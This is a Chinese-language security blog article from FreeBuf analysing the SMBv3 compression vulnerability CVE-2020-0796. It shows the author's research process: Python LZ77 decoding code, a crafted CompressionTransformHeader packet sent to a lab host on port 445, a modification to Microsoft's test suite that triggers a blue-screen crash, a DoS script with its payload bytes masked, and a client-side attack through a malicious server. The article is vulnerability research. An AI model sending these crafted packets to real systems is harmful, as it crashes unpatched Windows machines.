freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    SMBv3远程代码执行漏洞(CVE-2020-0796)分析
    2020-03-13 18:49:42

    前言

    2020.03.11 凌晨左右, 微软泄露一个SMB远程代码执行漏洞(CVE-2020-0796), 根据该漏洞描述是 CompressionTransformHeader 的使用出现了问题。
    2020.03.11 胖虎弟作为一个纯Web狗, 只知道SMB走445端口能开文件共享服务,可是通过简单的搜索发现这个漏洞复现应该很简单,于是尝试写出溢出POC。

    本文是偏向Web狗的视角去描述一次发掘并利用二进制漏洞的过程,给大家图一乐

    前期信息收集

    2020.03.11 刚拿到这个漏洞信息去google了一下(SMB3 deCompression)
    https://www.mail-archive.com/cifs-protocol@lists.samba.org/msg00639.html
    这个链接很有意思
    花了半天时间把邮件看了一下, 收集到如下信息
    1.这个洞是smb 3.1.1才有
    2.可能跟 lz77 压缩算法解密代码有关系
    3.问题提出者 Aurélien Aptel 是 这个SUSE Labs Samba 团队的, 并且把修复后的代码贡献到wireshark里面了
    4.这个问题在2019年7月15号就提出了
    5.影响 the latest Windows Server 2019 (应该是截止当时2019.07.15)

    lz77解密算法可能存在问题?


    先测试这个出了问题的lz77解密算法
    [MS-XCA]: Processing | Microsoft Docs
    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/34cb9ab9-5ce6-42d7-a518-107c1c7c65e7

    lz77 deCompression算法的Python实现 (根据当时错误的 MS-XCA 伪代码)
    https://ideone.com/7Lr6tN

    这里存在一处错误, 缺少对 4-bytes的校验

    修复后的代码如下

    #!/usr/bin/env python3
    from pprint import pprint as P
    import struct
    
    
    def test(data_in, data_out):
        print("==========================")
        print("IN: %s" % data_in)
        try:
            r = decode(data_in)
        except:
            print("ERR: exception during decoding")
        else:
            print("FINAL OUT: %s" % r)
            if r == data_out:
                print("MATCH")
            else:
                print("ERR: decompressed output doesnt match %d %d" % (len(r), len(data_out)))
    
    
    def main():
        test(bytes.fromhex(" ff ff ff 1f 61 62 63 17 00 0f ff 26 01"),
             b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
             b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
             b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
             b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
             b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc')
    
        test(bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00'),
             b'\xff' * (1024 * 128))
    
    
    def decode(ibuf):
        obuf = bytearray()
        BufferedFlags = 0
        BufferedFlagCount = 0
        InputPosition = 0
        OutputPosition = 0
        LastLengthHalfByte = 0
    
        def output(x):
            obuf.append(x)
            # print("OUT: %02x"%x)
    
        while True:
            if BufferedFlagCount == 0:
                # Read 4 bytes at InputPosition
                BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
                InputPosition += 4
                BufferedFlagCount = 32
            BufferedFlagCount = BufferedFlagCount - 1
            if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
                # Copy 1 byte from InputPosition to OutputPosition.  Advance both.
                output(ibuf[InputPosition])
                InputPosition += 1
                OutputPosition += 1
            else:
                if InputPosition == len(ibuf):
                    # Decompression is complete.  Return with success.
                    return obuf
                # Read 2 bytes from InputPosition
                MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
                InputPosition += 2
                MatchLength = MatchBytes % 8
                MatchOffset = (MatchBytes // 8) + 1
                if MatchLength == 7:
                    if LastLengthHalfByte == 0:
                        # read 1 byte from InputPosition
                        MatchLength = ibuf[InputPosition]
                        MatchLength = MatchLength % 16
                        LastLengthHalfByte = InputPosition
                        InputPosition += 1
                    else:
                        # read 1 byte from LastLengthHalfByte position
                        MatchLength = ibuf[LastLengthHalfByte]
                        MatchLength = MatchLength / 16
                        LastLengthHalfByte = 0
                    if MatchLength == 15:
                        # read 1 byte from InputPosition
                        MatchLength = ibuf[InputPosition]
                        InputPosition += 1
                        if MatchLength == 255:
                            # read 2 bytes from InputPosition
                            MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                            InputPosition += 2
                            if MatchLength == 0:
                                MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                                InputPosition += 4
                            if MatchLength < 15 + 7:
                                raise Exception("error")
                            MatchLength -= (15 + 7)
                        MatchLength += 15
                    MatchLength += 7
                MatchLength += 3
                # print(MatchLength)
                for i in range(int(MatchLength)):  # i = 0 to MatchLength - 1:
                    # Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
                    output(obuf[OutputPosition - MatchOffset])
                    OutputPosition += 1
    
    
    def encode(symbols):
        Flags = 0
        FlagCount = 0
        FlagOutputPosition = 0
        OutputPosition = 0
        LastLengthHalfByte = 0
    
        buffer = bytearray()
    
        def output(x):
            buffer.append(x)
            # print("OUT: %02x"%x)
    
        for symbol in symbols:
            if isinstance(symbol ,''):
                pass
    
    if __name__ == '__main__':
        main()
    

    这里 bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00') 通过lz77 decode 就可以解码出来 65536个字节, 我开始一直以为是这里溢出的(其实不是,但是这里会跑出异常)

    这里就猜测, 是不是可以发送这个包让smb服务器解密然后报错退出

    按照这个思路, 后面就需要构造smb的数据包了, 想了想得去找一个Python实现的smb客户端(方便修改操作,tomcat ajp LFI当时就是这么挖出来的)和windows Server 2019 1909的测试环境

    于是就先虚拟机安装了windows Server 2019 1909

    ed2k://|file|cn_windows_10_consumer_editions_version_1909_updated_jan_2020_x64_dvd_47161f17.iso|5417457664|274FEBA5BF0C874C291674182FA9C851|/

    尝试构造SMB数据包

    然后去github搜索smb3的相关Python实现,找到几个相关的项目
    https://github.com/jborean93/smbprotocol
    https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smbconnection.py
    https://github.com/miketeo/pysmb
    https://github.com/vphpersson/smb

    然后过滤了一下是否包含Compression/smb3.1.1也就剩下

    https://github.com/vphpersson/smb
    https://github.com/jborean93/smbprotocol

    相对比较有希望, 然后知道继续深入了解到是COMPRESSION_TRANSFORM_HEADER这个关键字段

    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0#Appendix_A_Target_69

    然后继续github搜索,发现一个微软实现的测试集,这里包含了所有的相关测试

    https://github.com/microsoft/WindowsProtocolTestSuites/blob/d78a8339ec98cbd79efb0bd4ec6938440ca3c7a0/ProtoSDK/MS-SMB2/Packets/Smb2CompressedPacket.cs

    因为对微软的这套很不熟,2020.03.11装了一晚上跑起来了但是也不太会用,所以继续研究使用 https://github.com/jborean93/smbprotocol

    smbprotocol里面有些地方相对比较清晰,可以自己操作一些数据, 构建数据包
    比如smbprotocol/examples/low-level/file-management.py

    查看 https://github.com/microsoft/WindowsProtocolTestSuites/commit/631824e4f1077d3b73483afb2c425c5883c84c8b

    发现微软几天前刚刚更新lz77的解密算法, 所以以为这里有漏洞(虽然后面发现关键漏洞函数不在这里)

    后来搜索 lz77 pcap, 碰碰运气,结果发现 wireshark 已经存在 lz77的smb pcap包提供了,下载分析

    https://github.com/wireshark/wireshark/blob/master/test/captures/smb311-lz77-lz77huff-lznt1.pcap.gz

    尝试构造 SMB2CompressionTransformHeader

    然后根据 smbprotocol.connection.Connection.connect 中的相关代码,以及smbprotocol.connection.SMB2TransformHeader

    SMB2TransformHeader

    class SMB2TransformHeader(Structure):
        """
        [MS-SMB2] v53.0 2017-09-15
    
        2.2.41 SMB2 TRANSFORM_HEADER
        The SMB2 Transform Header is used by the client or server when sending
        encrypted message. This is only valid for the SMB.x dialect family.
        """
    
        def __init__(self):
            self.fields = OrderedDict([
                ('protocol_id', BytesField(
                    size=4,
                    default=b"\xfdSMB"
                )),
                ('signature', BytesField(
                    size=16,
                    default=b"\x00" * 16
                )),
                ('nonce', BytesField(size=16)),
                ('original_message_size', IntField(size=4)),
                ('reserved', IntField(size=2, default=0)),
                ('flags', IntField(
                    size=2,
                    default=1
                )),
                ('session_id', IntField(size=8)),
                ('data', BytesField())  # not in spec
            ])
            super(SMB2TransformHeader, self).__init__()
    

    参考文档
    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

    可以尝试构造 SMB2CompressionTransformHeader

    SMB2CompressionTransformHeader

    class SMB2CompressionTransformHeader(Structure):
        def __init__(self):
            self.fields = OrderedDict([
                ('protocol_id', BytesField(
                    size=4,
                    default=b"\xfcSMB"
                )),
                ('OriginalCompressedSegmentSize', IntField(
                    size=4,
                    default=0x00
                )),
                ('CompressionAlgorithm', IntField(
                    size=2,
                    default=0x0002
                )),
                ('Flags', IntField(
                    size=2,
                    default=0x0000 #其实漏洞点在这里
                )),
                ('Length', IntField(
                    size=4,
                    default=0x00
                )),
    
            ])
            super(SMB2CompressionTransformHeader, self).__init__()
    

    可以构造出来一个符合 smbv3.1.1 CompressionTransformHeader的包

    import uuid
    from collections import OrderedDict
    import socket
    
    from smbprotocol import Commands
    
    from smbprotocol.connection import *
    
    from smbprotocol.structure import BytesField, IntField, Structure
    #!/usr/bin/env python3
    from pprint import pprint as P
    import struct
    
    
    def decode(ibuf):
        obuf = bytearray()
        BufferedFlags = 0
        BufferedFlagCount = 0
        InputPosition = 0
        OutputPosition = 0
        LastLengthHalfByte = 0
    
        def output(x):
            obuf.append(x)
            # print("OUT: %02x"%x)
    
        while True:
            if BufferedFlagCount == 0:
                # Read 4 bytes at InputPosition
                BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
                InputPosition += 4
                BufferedFlagCount = 32
            BufferedFlagCount = BufferedFlagCount - 1
            if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
                # Copy 1 byte from InputPosition to OutputPosition.  Advance both.
                output(ibuf[InputPosition])
                InputPosition += 1
                OutputPosition += 1
            else:
                if InputPosition == len(ibuf):
                    # Decompression is complete.  Return with success.
                    return obuf
                # Read 2 bytes from InputPosition
                MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
                InputPosition += 2
                MatchLength = MatchBytes % 8
                MatchOffset = (MatchBytes // 8) + 1
                if MatchLength == 7:
                    if LastLengthHalfByte == 0:
                        # read 1 byte from InputPosition
                        MatchLength = ibuf[InputPosition]
                        MatchLength = MatchLength % 16
                        LastLengthHalfByte = InputPosition
                        InputPosition += 1
                    else:
                        # read 1 byte from LastLengthHalfByte position
                        MatchLength = ibuf[LastLengthHalfByte]
                        MatchLength = MatchLength / 16
                        LastLengthHalfByte = 0
                    if MatchLength == 15:
                        # read 1 byte from InputPosition
                        MatchLength = ibuf[InputPosition]
                        InputPosition += 1
                        if MatchLength == 255:
                            # read 2 bytes from InputPosition
                            MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                            InputPosition += 2
                            if MatchLength == 0:
                                MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                                InputPosition += 4
                            if MatchLength < 15 + 7:
                                raise Exception("error")
                            MatchLength -= (15 + 7)
                        MatchLength += 15
                    MatchLength += 7
                MatchLength += 3
                # print(MatchLength)
                for i in range(int(MatchLength)):  # i = 0 to MatchLength - 1:
                    # Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
                    output(obuf[OutputPosition - MatchOffset])
                    OutputPosition += 1
    
    
    class SMB2CompressionTransformHeader(Structure):
        def __init__(self):
            self.fields = OrderedDict([
                ('protocol_id', BytesField(
                    size=4,
                    default=b"\xfcSMB"
                )),
                ('OriginalCompressedSegmentSize', IntField(
                    size=4,
                    default=0x00
                )),
                ('CompressionAlgorithm', IntField(
                    size=2,
                    default=0x0002
                )),
                ('Flags', IntField(
                    size=2,
                    default=0x0000
                )),
                ('Length', IntField(
                    size=4,
                    default=0x00
                )),
    
            ])
            super(SMB2CompressionTransformHeader, self).__init__()
    
    
    # 这里填充的是从wireshark里面抠出来已经lz77编码过的数据
    header_actual = b'\xb0\x82\x88\x00\xfe\x53\x4d\x42\x40\x00\x01\x00\x01\x00\x08\x00\x0a\x4c\x00\x00\x00\x06\x8a\x00\x00\x00\xff\xfe\x00\x9a\x00\x6d\x79\x00\x10\xa4\x00\x37\x00\x11\x11\x00\x50\x00\xff\xff\xff\x5f\x00\xbf\x00\x61\x07\x00\x0f\xff\xfc\x0f'
    print(header_actual)
    print(len(header_actual))
    print("--"*20)
    
    message = SMB2CompressionTransformHeader()
    message['OriginalCompressedSegmentSize'] = len(decode(header_actual))
    message['Length'] = 0xffffffff
    actual = message.pack()
    print(message)
    msg_body_len = len(actual + header_actual)
    print(msg_body_len)
    L = bytes.fromhex(hex(msg_body_len)[2:])
    print(L)
    nbss = b'\x00' + b'\x00' * (3-len(L)) + L
    print(nbss)
    
    smb_payload = nbss + actual + header_actual
    s = socket.socket(2, 1)
    s.connect(("192.168.38.136", 445))
    s.send(smb_payload)
    buff_res = s.recv(4096)
    print(buff_res)
    s.close()
    

    微软补丁发布&补丁对比细节公开

    2020.03.12日夜间微软发布了对应的补丁, 2020.03.13 凌晨陆续纰漏相关补丁对比细节

    https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

    这里提到我之前发现的 微软Windows协议测试包

    https://github.com/microsoft/WindowsProtocolTestSuites/blob/d78a8339ec98cbd79efb0bd4ec6938440ca3c7a0/ProtoSDK/MS-SMB2/Packets/Smb2CompressedPacket.cs

    到这里我已经看了1,2天的smb协议了,大概知道是怎么回事了, 我大方向是还是对的

    通过 WindowsProtocolTestSuites 构造SMB数据包

    这里修改 Smb2Compression 中的 compressedPacket.Header.Offset 为 0xffffffff 即可, 然后本地再次启动 WindowsProtocolTestSuites

    安装依赖可以使用 WindowsProtocolTestSuites\InstallPrerequisites\InstallPrerequisites.ps1

    这里会帮你安装 vs2017或者vs2019

    启动项目,选择
    \WindowsProtocolTestSuites

    然后在解决方案管理器中点击

    \WindowsProtocolTestSuites\TestSuites\FileServer\src\FileServer.sln

    调出测试资源管理器,得到如下界面

    如果运行报错可以把如下代码注释掉,这是个检测系统版本的判断条件,对测试没有影响

    // Check platform
    /* if (TestConfig.IsWindowsPlatform)
    {
    BaseTestSite.Assume.IsFalse(TestConfig.Platform < Platform.WindowsServerV1903, "Windows 10 v1809 operating system and prior, Windows Server v1809 operating system and prior, and Windows Server 2019 and prior do not support compression.");
    }*/
    

    另外还需要修改一处测试config文件 (可以搜索 192.168.1.11查找)

    \WindowsProtocolTestSuites\TestSuites\FileServer\src\Common\TestSuite\CommonTestSuite.deployment.ptfconfig

    这是本次测试的配置文件,修改对应的选线为目标靶机即可,密码最好填正确的, 比较方便抓包测试(有些测试步骤需要认证,方便wireshark抓包),其实不需要密码

    然后修改\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs 中的compressedPacket.Header.Offset = 0xffffffff;

    找到 Microsoft.Protocols.TestSuites.FileSharing.SMB2.TestSuite.Compression.BVT_SMB2Compression_LZ77 运行测试

    这里打开wireshark抓包,若是虚拟机是nat模式的话,选择抓vnet8网卡

    这里一共2个请求包一个响应包, 此时win10测试靶机已经蓝屏

    因为这里微软测试包发包时使用了smb签名,所以不能重放,所以按照smb2 通信图猜测,只需要一个协商包一个压缩包即可实现dos

    这里协商包从 https://github.com/ollypwn/SMBGhost 扣了出来,因为这里的smb协商包没有签名,然后我修改了加密算法为 lz77

    然后追加一个lz77的压缩包

    (这里POC仅能导致蓝屏, 没有其他攻击作用, 不要来检测漏洞)

    # CVE-2020-0796 DOS EXP
    import socket
    s = socket.socket(2, 1)
    s.connect(("192.168.38.136", 445))
    print("send Negotiate.....")
    smb_payload_1 = b'相关原因马赛克'
    s.send(smb_payload_1)
    buff_res = s.recv(4096)
    print("send Payload.....")
    smb_payload = b"相关原因马赛克"
    s.send(smb_payload)
    buff_res = s.recv(4096)
    s.close()
    

    大概逻辑是客户端先发送一个Negotiate包跟Smb server商议使用 lz77 加密传输后续消息(加密方式可能无关,但是这个比较好实现)

    然后 再发送一个修改了offset的使用了 CompressionTransformHeader 的数据包

    触发smb server中的整形溢出漏洞,然后Win10测试靶机崩溃蓝屏

    攻击客户端

    同样的原理, 诱导客户端访问 UNC格式路径也可以触发这个漏洞
    这里构造一个恶意服务器, 等待客户端连接, 响应一个Negotiate包跟Smb clinet商议使用加密传输, 然后接收客户端下一个请求,再返回一个恶意的压缩包就ok,视频如下

    DOS Pcap包

    CVE-2020-0796_dos_exp

    网传版本检测的POC补丁误报

    检测POC pcap
    https://github.com/ollypwn/SMBGhost/blob/master/SMBGhost.pcap

    NEGOTIATE_CONTEXT 参考这里
    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7

    可以看到协商请求包中NEGOTIATE_CONTEXT有2个,所以NegotiateContextCount为2

    CAPABILITIES分别为SMB2_PREAUTH_INTEGRITY_CAPABILITIES 和 SMB2_COMPRESSION_CAPABILITIES

    如果服务器支持, 就会所以返回NEGOTIATE_CONTEXT为2, 所以POC检测协商返回包中的NegotiateContextCount是否为2,如果为2且smb支持3.1.1方言就认为目标有漏洞

    但这里有个问题,如果目标打了smb补丁,这里还会返回NegotiateContextCount为2,所以目前的版本检测POC在目标打补丁后会有误报

    作者:斗象能力中心 TCC – 小胖虎

    本文作者:, 转载请注明来自FreeBuf.COM

    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    评论 按时间排序

    登录/注册后在FreeBuf发布内容哦

    相关推荐
    • 0 文章数
    • 0 评论数
    • 0 关注者
    登录 / 注册后在FreeBuf发布内容哦
    收入专辑